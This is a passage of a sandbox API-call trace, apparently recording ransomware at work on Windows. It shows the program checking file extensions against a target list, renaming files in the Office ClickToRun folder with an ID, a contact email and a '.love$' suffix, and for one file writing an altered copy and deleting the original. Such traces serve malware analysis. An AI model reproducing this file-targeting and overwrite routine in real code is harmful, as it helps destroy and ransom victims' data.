shared\\ClickToRun\\AppVFileSystemMetadata.dll") returned 84 [0284.806] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll") returned 84 [0284.806] lstrlenW (lpString=".doc") returned 4 [0284.806] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0284.806] lstrlenW (lpString=".docx") returned 5 [0284.806] lstrcmpiW (lpString1=".docx", lpString2="a.dll") returned -1 [0284.806] lstrlenW (lpString=".pdf") returned 4 [0284.806] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0284.806] lstrlenW (lpString=".xls") returned 4 [0284.806] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0284.806] lstrlenW (lpString=".xlsx") returned 5 [0284.806] lstrcmpiW (lpString1=".xlsx", lpString2="a.dll") returned -1 [0284.806] lstrlenW (lpString=".ppt") returned 4 [0284.806] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0284.806] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll") returned 84 [0284.806] lstrlenW (lpString=".zip") returned 4 [0284.806] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0284.806] lstrlenW (lpString=".rar") returned 4 [0284.806] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0284.806] lstrlenW (lpString=".bz2") returned 4 [0284.807] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0284.807] lstrlenW (lpString=".7z") returned 3 [0284.807] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0284.807] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll") returned 84 [0284.807] lstrlenW (lpString=".dbf") returned 4 [0284.807] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0284.807] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll") returned 84 [0284.807] lstrlenW (lpString=".1cd") returned 4 [0284.807] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0284.807] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll") returned 84 [0284.807] lstrlenW (lpString=".jpg") returned 4 [0284.807] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0284.807] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll") returned 84 [0284.807] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll") returned 84 [0284.807] lstrlenW (lpString=".doc") returned 4 [0284.807] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0284.807] lstrlenW (lpString=".docx") returned 5 [0284.807] lstrcmpiW (lpString1=".docx", lpString2="a.dll") returned -1 [0284.807] lstrlenW (lpString=".pdf") returned 4 [0284.807] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0284.807] lstrlenW (lpString=".xls") returned 4 [0284.807] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0284.807] lstrlenW (lpString=".xlsx") returned 5 [0284.807] lstrcmpiW (lpString1=".xlsx", lpString2="a.dll") returned -1 [0284.807] lstrlenW (lpString=".ppt") returned 4 [0284.807] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0284.807] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll") returned 84 [0284.808] lstrlenW (lpString=".zip") returned 4 [0284.808] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0284.808] lstrlenW (lpString=".rar") returned 4 [0284.808] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0284.808] lstrlenW (lpString=".bz2") returned 4 [0284.808] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0284.808] lstrlenW (lpString=".7z") returned 3 [0284.808] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0284.808] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll") returned 84 [0284.808] lstrlenW (lpString=".dbf") returned 4 [0284.808] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0284.808] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll") returned 84 [0284.808] lstrlenW (lpString=".1cd") returned 4 [0284.808] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0284.808] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll") returned 84 [0284.808] lstrlenW (lpString=".jpg") returned 4 [0284.808] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0284.808] lstrcmpiW (lpString1=".dll", lpString2=".love$") returned -1 [0284.808] lstrlenW (lpString="AppVIntegration.dll") returned 19 [0284.808] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvintegration.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0284.809] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x30fff14 | out: lpFileSize=0x30fff14*=2118360) returned 1 [0284.809] CloseHandle (hObject=0x354) returned 1 [0284.810] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvintegration.dll")) returned 0x20 [0284.810] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvintegration.dll.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0284.810] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvintegration.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvintegration.dll.id-b4197730.[im.online@aol.com].love$")) returned 1 [0284.811] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvintegration.dll.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0284.812] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x20) returned 1 [0284.812] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvintegration.dll.id-b4197730.[im.online@aol.com].love$"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvintegration.dll")) returned 1 [0284.812] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll") returned 77 [0284.812] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll") returned 77 [0284.812] lstrlenW (lpString=".doc") returned 4 [0284.813] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0284.813] lstrlenW (lpString=".docx") returned 5 [0284.813] lstrcmpiW (lpString1=".docx", lpString2="n.dll") returned -1 [0284.813] lstrlenW (lpString=".pdf") returned 4 [0284.813] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0284.813] lstrlenW (lpString=".xls") returned 4 [0284.813] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0284.813] lstrlenW (lpString=".xlsx") returned 5 [0284.813] lstrcmpiW (lpString1=".xlsx", lpString2="n.dll") returned -1 [0284.813] lstrlenW (lpString=".ppt") returned 4 [0284.813] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0284.813] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll") returned 77 [0284.813] lstrlenW (lpString=".zip") returned 4 [0284.813] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0284.813] lstrlenW (lpString=".rar") returned 4 [0284.813] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0284.813] lstrlenW (lpString=".bz2") returned 4 [0284.813] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0284.813] lstrlenW (lpString=".7z") returned 3 [0284.814] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0284.814] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll") returned 77 [0284.814] lstrlenW (lpString=".dbf") returned 4 [0284.814] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0284.814] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll") returned 77 [0284.814] lstrlenW (lpString=".1cd") returned 4 [0284.814] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0284.814] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll") returned 77 [0284.814] lstrlenW (lpString=".jpg") returned 4 [0284.814] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0284.814] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll") returned 77 [0284.814] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll") returned 77 [0284.814] lstrlenW (lpString=".doc") returned 4 [0284.814] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0284.814] lstrlenW (lpString=".docx") returned 5 [0284.814] lstrcmpiW (lpString1=".docx", lpString2="n.dll") returned -1 [0284.814] lstrlenW (lpString=".pdf") returned 4 [0284.814] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0284.814] lstrlenW (lpString=".xls") returned 4 [0284.814] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0284.814] lstrlenW (lpString=".xlsx") returned 5 [0284.814] lstrcmpiW (lpString1=".xlsx", lpString2="n.dll") returned -1 [0284.814] lstrlenW (lpString=".ppt") returned 4 [0284.815] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0284.815] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll") returned 77 [0284.815] lstrlenW (lpString=".zip") returned 4 [0284.815] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0284.815] lstrlenW (lpString=".rar") returned 4 [0284.815] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0284.815] lstrlenW (lpString=".bz2") returned 4 [0284.815] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0284.815] lstrlenW (lpString=".7z") returned 3 [0284.815] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0284.815] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll") returned 77 [0284.815] lstrlenW (lpString=".dbf") returned 4 [0284.815] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0284.815] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll") returned 77 [0284.815] lstrlenW (lpString=".1cd") returned 4 [0284.815] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0284.815] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll") returned 77 [0284.815] lstrlenW (lpString=".jpg") returned 4 [0284.815] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0284.815] lstrcmpiW (lpString1=".dll", lpString2=".love$") returned -1 [0284.815] lstrlenW (lpString="AppVIsvApi.dll") returned 14 [0284.816] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvApi.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvapi.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0284.816] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x30fff14 | out: lpFileSize=0x30fff14*=468696) returned 1 [0284.817] CloseHandle (hObject=0x354) returned 1 [0284.817] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvApi.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvapi.dll")) returned 0x20 [0284.817] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvApi.dll.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvapi.dll.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0284.817] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvApi.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvapi.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0284.817] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvApi.dll") returned 72 [0284.817] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvApi.dll") returned 72 [0284.817] lstrlenW (lpString=".doc") returned 4 [0284.817] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0284.817] lstrlenW (lpString=".docx") returned 5 [0284.817] lstrcmpiW (lpString1=".docx", lpString2="i.dll") returned -1 [0284.817] lstrlenW (lpString=".pdf") returned 4 [0284.817] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0284.817] lstrlenW (lpString=".xls") returned 4 [0284.817] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0284.817] lstrlenW (lpString=".xlsx") returned 5 [0284.818] lstrcmpiW (lpString1=".xlsx", lpString2="i.dll") returned -1 [0284.818] lstrlenW (lpString=".ppt") returned 4 [0284.818] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0284.818] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvApi.dll") returned 72 [0284.818] lstrlenW (lpString=".zip") returned 4 [0284.818] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0284.818] lstrlenW (lpString=".rar") returned 4 [0284.818] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0284.818] lstrlenW (lpString=".bz2") returned 4 [0284.818] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0284.818] lstrlenW (lpString=".7z") returned 3 [0284.818] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0284.818] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvApi.dll") returned 72 [0284.818] lstrlenW (lpString=".dbf") returned 4 [0284.818] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0284.818] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvApi.dll") returned 72 [0284.818] lstrlenW (lpString=".1cd") returned 4 [0284.818] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0284.818] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvApi.dll") returned 72 [0284.818] lstrlenW (lpString=".jpg") returned 4 [0284.818] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0284.818] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvApi.dll") returned 72 [0284.818] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvApi.dll") returned 72 [0284.818] lstrlenW (lpString=".doc") returned 4 [0284.818] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0284.818] lstrlenW (lpString=".docx") returned 5 [0284.819] lstrcmpiW (lpString1=".docx", lpString2="i.dll") returned -1 [0284.819] lstrlenW (lpString=".pdf") returned 4 [0284.819] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0284.819] lstrlenW (lpString=".xls") returned 4 [0284.819] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0284.819] lstrlenW (lpString=".xlsx") returned 5 [0284.819] lstrcmpiW (lpString1=".xlsx", lpString2="i.dll") returned -1 [0284.819] lstrlenW (lpString=".ppt") returned 4 [0284.819] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0284.819] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvApi.dll") returned 72 [0284.819] lstrlenW (lpString=".zip") returned 4 [0284.819] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0284.819] lstrlenW (lpString=".rar") returned 4 [0284.819] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0284.819] lstrlenW (lpString=".bz2") returned 4 [0284.819] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0284.819] lstrlenW (lpString=".7z") returned 3 [0284.819] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0284.819] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvApi.dll") returned 72 [0284.819] lstrlenW (lpString=".dbf") returned 4 [0284.819] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0284.819] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvApi.dll") returned 72 [0284.819] lstrlenW (lpString=".1cd") returned 4 [0284.819] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0284.819] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvApi.dll") returned 72 [0284.819] lstrlenW (lpString=".jpg") returned 4 [0284.819] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0284.820] lstrcmpiW (lpString1=".dll", lpString2=".love$") returned -1 [0284.820] lstrlenW (lpString="AppvIsvStream32.dll") returned 19 [0284.820] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream32.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstream32.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0284.821] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x30fff14 | out: lpFileSize=0x30fff14*=396960) returned 1 [0284.821] CloseHandle (hObject=0x354) returned 1 [0284.821] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream32.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstream32.dll")) returned 0x20 [0284.821] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream32.dll.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstream32.dll.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0284.821] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream32.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstream32.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0284.821] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30ffec0 | out: lpNewFilePointer=0x0) returned 1 [0284.821] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30ffec0 | out: lpNewFilePointer=0x0) returned 1 [0284.822] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream32.dll.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstream32.dll.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0284.822] GetLastError () returned 0x0 [0284.822] ReadFile (in: hFile=0x354, lpBuffer=0x3b16020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b16020*, lpNumberOfBytesRead=0x30ffecc*=0x60ea0, lpOverlapped=0x0) returned 1 [0285.290] WriteFile (in: hFile=0x358, lpBuffer=0x3b16020*, nNumberOfBytesToWrite=0x60eb0, lpNumberOfBytesWritten=0x30ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b16020*, lpNumberOfBytesWritten=0x30ffc94*=0x60eb0, lpOverlapped=0x0) returned 1 [0285.300] ReadFile (in: hFile=0x354, lpBuffer=0x3b16020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b16020*, lpNumberOfBytesRead=0x30ffecc*=0x0, lpOverlapped=0x0) returned 1 [0285.300] WriteFile (in: hFile=0x358, lpBuffer=0x3b16020*, nNumberOfBytesToWrite=0xfa, lpNumberOfBytesWritten=0x30ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b16020*, lpNumberOfBytesWritten=0x30ffc94*=0xfa, lpOverlapped=0x0) returned 1 [0285.300] SetEndOfFile (hFile=0x358) returned 1 [0285.300] CloseHandle (hObject=0x358) returned 1 [0285.300] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30ffec0 | out: lpNewFilePointer=0x0) returned 1 [0285.300] SetEndOfFile (hFile=0x354) returned 1 [0285.304] CloseHandle (hObject=0x354) returned 1 [0285.304] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream32.dll.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x20) returned 1 [0285.304] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream32.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstream32.dll")) returned 1 [0285.305] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream32.dll") returned 77 [0285.305] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream32.dll") returned 77 [0285.305] lstrlenW (lpString=".doc") returned 4 [0285.305] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0285.305] lstrlenW (lpString=".docx") returned 5 [0285.306] lstrcmpiW (lpString1=".docx", lpString2="2.dll") returned -1 [0285.306] lstrlenW (lpString=".pdf") returned 4 [0285.306] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0285.306] lstrlenW (lpString=".xls") returned 4 [0285.306] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0285.306] lstrlenW (lpString=".xlsx") returned 5 [0285.306] lstrcmpiW (lpString1=".xlsx", lpString2="2.dll") returned -1 [0285.306] lstrlenW (lpString=".ppt") returned 4 [0285.306] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0285.306] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream32.dll") returned 77 [0285.306] lstrlenW (lpString=".zip") returned 4 [0285.306] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0285.306] lstrlenW (lpString=".rar") returned 4 [0285.306] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0285.306] lstrlenW (lpString=".bz2") returned 4 [0285.306] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0285.306] lstrlenW (lpString=".7z") returned 3 [0285.306] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0285.306] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream32.dll") returned 77 [0285.306] lstrlenW (lpString=".dbf") returned 4 [0285.306] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0285.306] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream32.dll") returned 77 [0285.306] lstrlenW (lpString=".1cd") returned 4 [0285.306] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0285.306] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream32.dll") returned 77 [0285.306] lstrlenW (lpString=".jpg") returned 4 [0285.306] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0285.306] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream32.dll") returned 77 [0285.306] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream32.dll") returned 77 [0285.306] lstrlenW (lpString=".doc") returned 4 [0285.306] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0285.306] lstrlenW (lpString=".docx") returned 5 [0285.306] lstrcmpiW (lpString1=".docx", lpString2="2.dll") returned -1 [0285.307] lstrlenW (lpString=".pdf") returned 4 [0285.307] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0285.307] lstrlenW (lpString=".xls") returned 4 [0285.307] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0285.307] lstrlenW (lpString=".xlsx") returned 5 [0285.307] lstrcmpiW (lpString1=".xlsx", lpString2="2.dll") returned -1 [0285.307] lstrlenW (lpString=".ppt") returned 4 [0285.307] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0285.307] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream32.dll") returned 77 [0285.307] lstrlenW (lpString=".zip") returned 4 [0285.307] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0285.307] lstrlenW (lpString=".rar") returned 4 [0285.307] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0285.307] lstrlenW (lpString=".bz2") returned 4 [0285.307] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0285.307] lstrlenW (lpString=".7z") returned 3 [0285.307] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0285.307] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream32.dll") returned 77 [0285.307] lstrlenW (lpString=".dbf") returned 4 [0285.307] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0285.307] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream32.dll") returned 77 [0285.307] lstrlenW (lpString=".1cd") returned 4 [0285.307] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0285.307] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream32.dll") returned 77 [0285.307] lstrlenW (lpString=".jpg") returned 4 [0285.307] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0285.307] lstrcmpiW (lpString1=".dll", lpString2=".love$") returned -1 [0285.308] lstrlenW (lpString="AppvIsvSubsystems64.dll") returned 23 [0285.308] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems64.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0285.308] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x30fff14 | out: lpFileSize=0x30fff14*=2285736) returned 1 [0285.308] CloseHandle (hObject=0x354) returned 1 [0285.309] GetFileAttributesW 